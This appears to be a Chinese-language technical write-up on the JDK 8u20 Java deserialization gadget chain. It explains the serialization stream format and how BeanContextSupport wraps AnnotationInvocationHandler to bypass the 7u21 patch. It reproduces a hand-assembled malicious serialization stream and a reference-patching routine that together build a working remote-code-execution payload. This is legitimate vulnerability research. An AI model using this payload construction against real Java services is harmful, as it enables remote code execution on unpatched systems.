JRE8u20 反序列化利用链及序列化流构造技术分析

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近期出现了一些需要基于序列化数据进行修改加以利用的漏洞，例如Weblogic的CVE-2021-2211（基于JDK8u21）、OFBiz的CVE-2021-30128，在构造POC时都需要直接对序列化数据进行修改，而JDK8u20这条链无疑是一个非常好的用来学习这方面知识的例子，因此在诸位前辈的文章指引下，再详细的记录一下这条利用链的一些细节和思路。

0x01 序列化相关知识

序列化数据结构

以这段代码为例

AuthClass authClass = new AuthClass("123456");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("./authClass.bin"));
oos.writeObject(authClass);
oos.writeObject(authClass);
oos.close();

将同一个对象执行两次writeObject，序列化数据经过SerializationDumper处理如下，其中new_handle的值是SerializationDumper标注出的，实际并不存在。

序列化数据内容依次如下：

• STREAM_MAGIC 数据头 0xaced
• STREAM_VERSION 序列化数据版本呢 0x0005
• TC_OBJECT 0x73 表示接下来的序列化数据是一个object，用0x73表示，除了Object，还有TC_REFERENCE、TC_STRING等，具体可见java.io.ObjectStreamConstants，分别表示接下来不同的数据类型，对应不同的处理方法。
  • TC_CLASSDESC 0x72类的描述符 标识接下来是类的一些属性以及信息等等信息
    • Length 0x00 30 类名长度
    • Value 0x79736f73657269616c2e7061796c6f6164732e7765626c6f6769635f686967682e74657374243141757468436c617373 类名
    • serialVersionUID 0x00 00 00 00 00 00 00 64序列化数据ID
    • newHandle 0x00 7e 00 00 这个是SerializationDumper手动添加的，实际的序列化数据中不存在这个值，便于后续计算REFERENCE
    • classDescFlags 0x02 类描述符标记，一个单位标记符
    • fieldCount 0x0001 对象的成员属性的数量
    • Fields 对象的成员属性(包含了属性名及属性类型)
      • Object 0x4c 标识成员类的种类，除了L(0x4c)还有B(Byte)、C(char)等。
      • Length 0x0008 成员名长度
      • Value 0x70617373776f7264 成员名
      • TC_STRING 0x74成员类型
        • newHandle 0x00 7e 00 01 第二个handle
        • Length 0x00 12 长度
        • Value 0x4c6a6176612f6c616e672f537472696e673b
    • TC_ENDBLOCKDATA 0x78 标识一个类结束
    • superClassDesc 0x70父类的类描述
  • classdata 类的成员变量的值
    • TC_STRING 0x74 字符串类型
    • newHandle 0x00 7e 00 03 值对应的handle 
    • Value 0x313233343536 成员变量的值
  • TC_REFERENCE 0x71 第二个对象，是个reference类型
    • Handle 0x00 7e 00 02 handle的地址

一共出现了4个handle，用readObject读取这四个handle标识的对象

0x007e0000 ysoserial.payloads.weblogic_high.test$1AuthClass.class 的ObjectStreamClass对象，对应TC_CLASSDESC的内容

0x007e0001 char[]对象，标识成员属性（password）的类型

0x007e0002 ysoserial.payloads.weblogic_high.test$1AuthClass.class对象

0x007e0003 ysoserial.payloads.weblogic_high.test$1AuthClass.passsword的值

通过reference，可以实现在readObject时，反序列化任意已经序列化过的对象，以及它们的一些字段。

反序列化过程

在一个类被反序列化的过程中，会经历defaultReadFields过程。用来初始化序列化数据中的Fields字段中的内容。在hashSet的反序列化过程中，它是不存在任何field的，因此不会反序列化。但是可以通过在序列化的数据中加入field内容，从而迫使它在readFields时去反序列化类。并放在类描述符的fields字段中。

0x02 漏洞原理

jdk8u20这条链是jdk7u21的绕过。jdk7u21的补丁中，在AnnotationInvocationHandler的readObject方法中，增加了对代理类的判断，要求必须为annotation类型，否则会报错。

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

虽然增加了检测，但是检测出现在defaultReadObject之前，在报错之前AnnotationInvocationHandler对象还是被正常还原了。

而jdk7u21的利用中不需要用到AnnotationInvocationHandler后需的操作，只需要这个对象被正确还原即可。因此现在的思路是，通过一个包裹类，它的readObject方法中会调用readObject方法， 并且catch了异常，使得AnnotationInvocationHandler被顺利反序列化，并在后续被用上。

JDK7u21的利用链如下，分别反序列化两个类，然后在put的方法中触发proxy的invoke。补丁打在了

第二个对象—handler的反序列化过程中。

JDK8u20这条链的思路是增加一个不存在的field字段，这个字段中是一个序列化类，它包裹住AnnotationInvocationHandler，catch住AnnotationInvocationHandler反序列化过程中的异常，并且在后续的反序列化中不报错，它会被正常反序列化。然后在需要AnnotationInvocationHandler的时候，替换为之前field反序列化中生成的AnnotationInvocationHandler的reference。

这个field字段可以加在两个地方，一个是HashSet的field字段，另一个是hashSet的成员的field。jdk8的利用链使用的包裹类为java.beans.beancontext.BeanContextSupport类。

private synchronized void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {

    synchronized(BeanContext.globalHierarchyLock) {
        ois.defaultReadObject();

        initialize();

        bcsPreDeserializationHook(ois);

        if (serializable > 0 && this.equals(getBeanContextPeer()))
            readChildren(ois);

        deserialize(ois, bcmListeners = new ArrayList(1));
    }
}

public final void readChildren(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        int count = serializable;

        while (count-- > 0) {
            Object                      child = null;
            BeanContextSupport.BCSChild bscc  = null;

            try {
                child = ois.readObject();
                bscc  = (BeanContextSupport.BCSChild)ois.readObject();
            } catch (IOException ioe) {
                continue;
            } catch (ClassNotFoundException cnfe) {
                continue;
            }


            synchronized(child) {
                BeanContextChild bcc = null;

                try {
                    bcc = (BeanContextChild)child;
                } catch (ClassCastException cce) {
                    // do nothing;
                }

                if (bcc != null) {
                    try {
                        bcc.setBeanContext(getBeanContextPeer());

                       bcc.addPropertyChangeListener("beanContext", childPCL);
                       bcc.addVetoableChangeListener("beanContext", childVCL);

                    } catch (PropertyVetoException pve) {
                        continue;
                    }
                }

                childDeserializedHook(child, bscc);
            }
        }
    }

可以看到在readObject方法中调用了ois.defaultReadObject();并接着调用readChildren方法处理流，这个方法中进行了readObject，并且catch了异常。

对照jdk7u21生成的序列化数据进行构造，同时参考这条链的发现者的思路进行构造，https://github.com/pwntester/JRE8u20_RCE_Gadget/blob/master/src/main/java/ExploitGenerator.java，在构造中需要注意一个点：AnnotationInvocationHandler有一个成员属性，memberValues，是一个map类型，在jdk7u21中，是这样构造的，

HashMap map = new HashMap();
map.put(zeroHashCodeStr, templates); 

但在jdk8u20中，pwntester是这样构造的

HashMap map = new HashMap();
map.put("f5a5a608", "f5a5a608");

初看时很奇怪，这条链这样也能触发吗？经过实际的构造后理解了作者的用意。这条链在触发中确实需要这个map的值为templates对象，但是如果直接设成templates，由于这个templates已经在HashSet中put过一次，因此会在序列化数据中留下大量的TC_REFERENCE引用，还会出现多次引用等情况，导致构造时很乱。但是像作者这样设置成和key相同的值时可以正确触发吗？其实是不能的，但是由于在put时设置为键和值相同的值，序列化数据中值被序列化时不会直接存储，而是存储成一个TC_REFERENCE，指向key，然后作者修改了这个引用，修改为指向之前hashSet在put时生成templates对象，从而避免了大量的TC_REFERENCE修改。因此作者选择在初始化第二个类的时候才放入恶意类到field中。最终生成的数据，以及对引用的修改如下，跟原作者略有不同。

         Object[]  ser =new Object[]{
            STREAM_MAGIC,
            STREAM_VERSION,

             //linkedHashset
            TC_OBJECT,
            TC_CLASSDESC,
             LinkedHashSet.class.getName(),
             -2851667679971038690L,//serID
             (byte)SC_SERIALIZABLE,//classDescFlags
             (short)0,
             TC_ENDBLOCKDATA,

             TC_CLASSDESC,
             "java.util.HashSet",-5024744406713321676L,
             (byte)(SC_SERIALIZABLE|SC_WRITE_METHOD),
             (short)0,//fieldCount

             TC_ENDBLOCKDATA,
             TC_NULL,

             //hashSet readObject
             TC_BLOCKDATA,
             (byte) 12,
             (short)0,

             (short)16,

             (short)16192,(short)0,(short)0,
             (short)2,

             //first
             templates,

            //second
             TC_OBJECT,
             TC_PROXYCLASSDESC,
             1,
             Templates.class.getName(),
             TC_ENDBLOCKDATA,
             TC_CLASSDESC,
             Proxy.class.getName(),
             -2222568056686623797L,
             SC_SERIALIZABLE,
             (short)2,

             //fake
             (byte)'L',"fake", TC_STRING,"Ljava/beans/beancontext/BeanContextSupport;",
             (byte)'L',"h",TC_STRING,"Ljava/lang/reflectInvocationHandler;",
             TC_ENDBLOCKDATA,TC_NULL,

             //classData
             TC_OBJECT,
             TC_CLASSDESC,
             BeanContextSupport.class.getName(),
             -4879613978649577204L,
             (byte)(SC_SERIALIZABLE | SC_WRITE_METHOD),
             (short)1,
             (byte)'I',"serializable",
             TC_ENDBLOCKDATA,

             //super class
             TC_CLASSDESC,
             BeanContextChildSupport.class.getName(),
             6328947014421475877L,
             SC_SERIALIZABLE,
             (short)1,
             (byte)'L',"beanContextChildPeer",
             TC_STRING,"Ljava/beans/beancontext/BeanContextChild;",
             TC_ENDBLOCKDATA,
             TC_NULL,

             //classdata
             TC_REFERENCE,baseWireHandle+25, //beanContextChildPeer
             1, //serializable

             //readChildren
             TC_OBJECT,
             TC_CLASSDESC,
             "sun.reflect.annotation.AnnotationInvocationHandler",
             6182022883658399397L,       // serialVersionUID
             (byte) (SC_SERIALIZABLE | SC_WRITE_METHOD),
             (short) 2,                  // field count
             (byte) 'L', "memberValues", TC_STRING, "Ljava/util/Map;",   // memberValues field
             (byte) 'L', "type", TC_STRING, "Ljava/lang/Class;",         // type field
             TC_ENDBLOCKDATA,
             TC_NULL,                    // no superclass

             map,                        // memberValues field value
             Templates.class,            // type field value

             //deserialize
             TC_BLOCKDATA,
             (byte) 4,                   // block length
             0,                          // no BeanContextSupport.bcmListenes
             TC_ENDBLOCKDATA,

             //h

             TC_REFERENCE,baseWireHandle+29,
             TC_ENDBLOCKDATA

        };
        
        public static byte[] patch(byte[] bytes) {
    for (int i = 0; i < bytes.length; i++) {
        if (bytes[i] == 0x71 && bytes[i+1] == 0x00 && bytes[i+2] == 0x7e && bytes[i+3] ==0x00) {
            i = i + 4;
            System.out.print("Adjusting reference from: " + bytes[i]);
            if (bytes[i] == 1) bytes[i] = 4; //
            if (bytes[i] == 0x0a) bytes[i]=0x0d; //templates
            if (bytes[i] == 2) bytes[i]= 9;

            System.out.println(" to: " + bytes[i]);
        }
    }
    return bytes;
} 

QAX的一位大佬写了一个SerialWriter项目，实现了面向对象生成序列化数据的方法，无需手动计算Reference地址。

https://github.com/QAX-A-Team/SerialWriter

0x03 参考及引用

• https://mp.weixin.qq.com/s/TAjfHEJCvP-1yK2hUZlrbQ
• https://www.freebuf.com/vuls/176672.html
• https://www.anquanke.com/post/id/87270
• https://github.com/pwntester/JRE8u20_RCE_Gadget
• https://github.com/QAX-A-Team/SerialWriter